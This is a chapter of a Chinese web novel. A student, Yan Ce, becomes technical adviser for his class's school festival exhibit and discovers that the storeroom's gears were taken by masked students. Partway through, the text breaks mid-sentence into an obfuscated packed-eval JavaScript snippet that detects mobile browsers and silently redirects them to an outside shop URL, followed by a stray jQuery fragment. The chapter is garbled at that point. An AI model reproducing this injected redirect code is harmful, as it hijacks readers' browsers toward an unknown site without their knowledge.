第二天清晨，江城一中的空气里多了一种不同往常的躁动。
严策走进校门时，就看见公告栏前围满了学生。红色的横幅已经挂了起来——“江城一中第28届校园文化祭”，墨迹饱满的毛笔字在晨光里泛着光。几个学生会的干部正在往旁边的展板上贴海报，彩色的纸张在晨风里哗啦作响。
空气里飘着淡淡的油墨味、粉笔灰味，还有学生们兴奋交谈的嗡嗡声。
“听说今年有班级要搞鬼屋！”
“我们班准备做小吃摊，卖章鱼小丸子……”
“文艺汇演的节目报名开始了吗？”
声音像潮水一样涌过来。严策穿过人群，走向教学楼。他的目光扫过那些兴奋的脸，耳朵捕捉着零碎的对话，心里却保持着一种冷静的疏离。李浩昨晚的警告还在耳边回响：“文化祭要小心，这俩货肯定憋着坏。”
楼梯间里，几个低年级的学生抬着一大卷彩纸往上走，纸卷撞到栏杆发出沉闷的响声。严策侧身让开，手指无意识地碰了碰书包里《天工秘录》坚硬的封面。
***
上午第三节是班会课。
班主任陈老师走进教室时，手里拿着一张文化祭的通知单。他五十岁出头，头发花白，戴着一副老花镜，镜片后的眼睛温和而锐利。
“同学们，文化祭的筹备正式开始了。”陈老师把通知单放在讲台上，双手撑住桌面，“我们班需要确定一个主题，准备一个展位或者节目。大家有什么想法？”
教室里立刻热闹起来。
“做美食摊吧！肯定赚钱！”
“太俗了，每年都有十几个班做吃的。”
“那搞文艺表演？合唱？舞蹈？”
“我们班又没几个会跳舞的……”
议论声此起彼伏。严策坐在靠窗的位置，安静地听着。窗外的梧桐树叶子已经开始泛黄，几片早落的叶子在风里打着旋。阳光透过玻璃照进来，在课桌上投下明亮的光斑，光斑里浮动着细小的尘埃。
他的同桌是个戴眼镜的男生，叫周明，此刻正兴奋地在草稿纸上画着什么。“严策，你觉得我们搞个机器人展览怎么样？用乐高积木搭……”
“材料不够。”严策平静地说。
“也是……”周明泄气地放下笔。
讲台上，陈老师听着学生们的讨论，目光在教室里缓缓移动。当他的视线扫过严策时，停留了片刻。这个学生最近的变化，他看在眼里。从最初的沉默寡言，到后来接住棒球棍的那一幕，再到最近似乎总在思考什么的样子……陈老师教书三十年，见过太多学生，他知道严策身上有故事。
“安静一下。”陈老师敲了敲讲台。
教室里渐渐安静下来。
“我有个提议。”陈老师说，“今年很多班级都在搞现代科技、流行文化的东西。我们不如反其道而行，搞一个‘古典智慧与现代生活’的主题展。”
学生们面面相觑。
“古典智慧？什么意思？”
“就是展示一些古代人的智慧怎么应用到现代生活中。”陈老师解释道，“比如古代的水利工程原理怎么用在今天的灌溉系统里，古代的计时工具怎么演变成现代钟表，古代的机关术怎么启发今天的机械设计……我们可以做一些模型、装置，配上文字说明。”
这个提议让不少学生眼睛亮了起来。
“听起来挺有意思的！”
“比单纯卖吃的有格调。”
“可是……我们谁会做那些东西啊？”
问题抛了出来。教室里又陷入短暂的沉默。确实，这个主题需要一定的动手能力和知识储备，不是随便糊弄就能完成的。
陈老师的目光再次落在严策身上。
“严策。”他叫了一声。
严策抬起头。
“我记得你动手能力不错。”陈老师说得很自然，“上次物理课的小组实验，你做的那个简易发电机就很精巧。这次的主题展，你愿意当技术顾问之一吗？”
所有的目光瞬间集中过来。
严策能感觉到那些视线——好奇的、期待的、怀疑的、嫉妒的。坐在后排的王猛哼了一声，声音不大，但在安静的教室里格外清晰。
“老师，我觉得……”严策开口，想推辞。
“试试看吧。”陈老师打断他，语气温和但不容拒绝，“这不只是为你自己，也是为班级。而且——”他顿了顿，镜片后的眼睛闪过一丝深意，“展示一点动手能力和巧思，是好事。也能转移一些人对你‘武力’的过度关注。”
最后那句话说得轻，但严策听懂了。
他沉默了几秒，然后点了点头。“好。”
教室里响起一阵轻微的骚动。有人鼓掌，有人小声议论。周明兴奋地拍了拍严策的肩膀：“太好了！有你在，咱们班肯定能拿奖！”
严策没说话，只是看着讲台上的陈老师。老教师对他微微点了点头，那眼神里有鼓励，也有某种更深的理解。
***
班会结束后，班级成立了文化祭筹备小组。严策作为技术顾问，需要尽快提出一个具体的制作方案。
下午放学，他没有直接回家，而是去了教师办公室。
陈老师正在批改作业，看见严策进来，指了指对面的椅子。“坐。”
严策坐下。办公室里有淡淡的茶香和旧书的味道。窗台上摆着一盆绿萝，叶子油亮，垂下来的藤蔓几乎碰到地面。夕阳的光从西窗斜射进来，在陈老师花白的头发上镀了一层金色。
“老师，关于那个装置……”严策开口。
“想好做什么了吗？”陈老师放下红笔。
“初步有个想法。”严策说，“做一个‘自动浇花装置’的模型。利用杠杆和齿轮原理，设计一个储水容器，当土壤湿度降低到一定程度时，装置自动触发，释放定量的水。等土壤湿度恢复，装置复位。”
陈老师眼睛一亮。“这个好。既有古典智慧——杠杆和齿轮都是古代就有的机械原理，又有现代应用——自动灌溉。而且模型做出来应该不会太复杂，材料也好找。”
“但是……”严策犹豫了一下。
“但是什么？”
“我需要用到一些……书里看到的知识。”严策说得谨慎，“关于齿轮的传动比计算，杠杆的支点选择，还有湿度触发的机关设计。”
陈老师看着他，沉默了片刻。办公室里的挂钟滴答滴答地走着，声音在安静的空气里格外清晰。窗外的操场上传来学生打篮球的呼喊声，遥远而模糊。
“严策。”陈老师终于开口，声音很轻，“我知道你家里有些……特别的东西。”
严策的心跳漏了一拍。
“我不问具体是什么。”陈老师继续说，“但我看得出来，那些东西让你有了不同于常人的能力，也让你背负了不同于常人的压力。”
夕阳的光在移动，现在照到了桌面上，红木的纹理在光线里清晰可见。
“这次文化祭，是个机会。”陈老师说，“在不涉及核心秘密的前提下，展示一点你能展示的东西。让大家看到，你除了‘能打’，还有别的才能。这能帮你分散注意力，减少一些不必要的关注。”
严策的手指在膝盖上轻轻敲了敲。这是他思考时的习惯动作。
“我明白了。”他说。
“材料方面，学校仓库里应该有一些废旧的东西可以用。”陈老师从抽屉里翻出一张纸条，写了几行字，“这是仓库管理老师的电话和开放时间。你去看看，有什么能用的齿轮、木料、小电机之类的，登记一下就能借。”
严策接过纸条。纸张很薄，上面的字迹工整有力。
“谢谢老师。”
“去吧。”陈老师重新拿起红笔，“对了，做模型的时候，记得把原理写清楚。文化祭不只是展示作品，更是传播知识。”
严策点点头，起身离开。
走出办公室时，夕阳已经西斜。走廊里空荡荡的，只有他的脚步声在回响。远处传来音乐教室的钢琴声，断断续续的，像秋日里零落的雨点。
***
第二天中午，严策去了学校仓库。
仓库在教学楼后面的一栋老建筑里，红砖墙，瓦片顶，墙缝里长着青苔。木质的双开门漆成深绿色，油漆已经斑驳脱落，露出底下发黑的木头。门虚掩着，留着一道缝。
严策推门进去。
一股混合的气味扑面而来——灰尘味、铁锈味、旧木头的霉味，还有淡淡的机油味。仓库很大，天花板很高，几盏老式的白炽灯挂在横梁上，发出昏黄的光。光线里，无数细小的尘埃在缓慢飘浮。
靠墙是一排排高大的货架，铁制的，有些已经生锈。货架上堆满了各种杂物：破损的课桌椅、淘汰的体育器材、废弃的实验仪器、成卷的旧横幅……一切都蒙着一层厚厚的灰。
仓库深处有一张旧书桌，一个五十多岁的男老师正坐在那里看报纸。听见脚步声，他抬起头，推了推鼻梁上的老花镜。
“什么事？”
“老师好，我是高三（七）班的严策。”严策走过去，把陈老师写的纸条递过去，“我们班文化祭要做模型，陈老师说可以来仓库找找能用的材料。”
管理员接过纸条看了看，点点头。“自己去找吧。找到要用的，过来登记。”
“谢谢老师。”
严策转身走向货架。他的目光在堆积如山的杂物间扫过，心里已经有了清单：需要几个大小不一的齿轮，最好是金属的；需要一些木条或者薄木板做框架；需要小轴承、铁丝、弹簧……如果能有废弃的小电机就更好了。
他先从最靠门的货架开始找。
第一个货架上堆着破损的桌椅。严策蹲下身，仔细查看那些桌腿和椅背。有些木料还可以用，但需要切割。他抽出两根比较直的木条，放在一边。
继续往里走。
第二个货架上是体育器材：断裂的跳高杆、漏气的篮球、网破了的羽毛球拍……没什么可用的。
第三个货架让严策眼睛一亮。
这里堆着一些废弃的物理实验器材。有老式的天平、磁铁、线圈，还有几个拆开的电动机模型。他小心地翻找，手指触碰到冰凉的金属和粗糙的木壳。
灰尘被搅动起来，在昏黄的光线里飞舞。严策屏住呼吸，眯起眼睛。
他找到了两个小电机，虽然旧，但看起来还能用。又找到了几根铜丝和一小卷绝缘胶带。把这些放在木条旁边，他继续寻找最重要的东西——齿轮。
按照《天工秘录》里“机巧篇”的记载，自动浇花装置需要三组齿轮：一组用于动力传递，一组用于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680501|207667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
速度调节，一组用于触发机关。齿轮的大小和齿数需要精确匹配，否则传动效率会大打折扣。
严策记得仓库里应该有一箱废旧齿轮。去年学校翻新物理实验室时，淘汰了一批老式的机械演示模型，那些模型上有很多大小不一的齿轮。当时他作为值日生帮忙搬运，亲眼看见那箱齿轮被放进了仓库。
他走到仓库最里面的角落。
记忆中的位置，现在堆着几个破旧的纸箱。严策蹲下身，打开最上面的箱子。里面是一些旧书和试卷，霉味很重。他合上箱子，挪到一边。
第二个箱子很沉。
严策用力搬开箱盖。灰尘扬起，他侧过脸，等尘埃落定才看进去——
箱子里是各种金属零件：螺丝、螺母、垫片、小轴承……但没有齿轮。
他皱了皱眉，把箱子整个倾斜过来，让里面的东西哗啦一声倒在地上。金属零件散落一地，在水泥地上滚动，发出清脆的响声。确实没有齿轮。
严策站起来，环顾四周。仓库里很安静，只有管理员翻报纸的沙沙声。昏黄的灯光在堆积的杂物上投下浓重的阴影，那些阴影的边缘模糊不清，像某种蛰伏的兽。
他走到管理员桌前。
“老师，请问仓库里有没有废旧齿轮？大小不一的，金属的。”
管理员从报纸上抬起头，花镜滑到鼻尖。“齿轮？有啊，以前物理实验室淘汰的那批，不是放在最里面那个铁箱子里吗？”
“我看了，没有。”严策说。
“没有？”管理员放下报纸，站起身，“我带你看看。”
两人走到仓库深处。管理员指着墙角一个绿色的铁皮箱子：“就那个。”
严策已经看过了，但还是走过去，再次打开箱盖。里面空空如也，只有箱底积着一层灰。
“咦？”管理员摸了摸下巴，“奇怪了，上周我还看见在里面呢。”
“上周还在？”
“对啊。”管理员说，“上周二，三班的几个学生来借东西，我还打开箱子给他们看过。那时候齿轮还在。”
严策的心沉了一下。
“那之后还有人来借过齿轮吗？”
“我想想……”管理员走回书桌，翻看登记本。泛黄的纸页被一页页翻过，发出干燥的脆响。“周三……没有。周四……四班借了几块木板。周五……哦，周五下午，有几个学生来过，说是文化祭要用。”
“哪个班的？”严策问。
“没登记班级。”管理员指着登记本上的一行字，“就写了‘文化祭材料’，借走的东西列了一串：齿轮若干、轴承、小电机、电线……哦，还有锯子和胶水。”
严策看着那行字。字迹潦草，像是匆忙写下的。
“借东西的人长什么样？”
“记不清了。”管理员摇摇头，“那天下午快放学的时候来的，三四个人吧，穿着校服，戴着口罩。说是感冒了，怕传染。我也没多问，就让他们自己去找，找到过来登记。”
严策沉默了几秒。
“老师，能让我看看他们借走的具体清单吗？”
管理员把登记本转过来。严策俯身细看。
清单上列着：
- 金属齿轮（大）2个
- 金属齿轮（中）4个
- 金属齿轮（小）6个
- 轴承 8个
- 小电机 2个
- 电线一卷
- 手锯 1把
- 强力胶 3管
这些材料……和他需要的几乎完全重合。
严策直起身。仓库里很安静，安静得能听见自己的心跳。昏黄的灯光照在堆积的杂物上，那些杂物的影子被拉得很长，扭曲变形，像张牙舞爪的怪物。
“可能被其他班级先借走了吧。”管理员合上登记本，坐回椅子上，“最近好多班都在准备文化祭，仓库里的东西流动很快。你要不找找别的替代品？或者等几天，说不定他们还回来。”
“他们说了什么时候还吗？”
“没具体说，就说用完了还。”
严策点点头。“谢谢老师。”
他走回自己刚才挑选材料的地方，把木条、小电机、铜丝和胶带拿到管理员桌前登记。管理员在登记本上写下物品和数量，把学生证号码抄上去。
“这些你先用着。齿轮的事，我帮你留意着，如果有人还回来，我通知你。”
“好的，麻烦老师了。”
严策抱着材料走出仓库。
门外，午后的阳光很刺眼。他眯起眼睛，适应了一会儿光线。仓库的阴影被抛在身后，但那种阴冷的感觉还停留在皮肤上。
他低头看着怀里的小电机。金属外壳在阳光下反射着冷光。
齿轮被借走了。
偏偏是他最需要的齿轮。
偏偏是在文化祭筹备开始的时候。
偏偏借走的人没有登记班级，还戴着口罩。
世界上有这么巧的事吗？
严策抬起头，看向教学楼的方向。三楼的走廊里，几个学生正在挂彩带，红色的彩带在风里飘动，像血。
他想起李浩的警告。
想起王猛砸在储物柜上的拳头。
想起赵坤沙哑的声音。
文化祭要小心。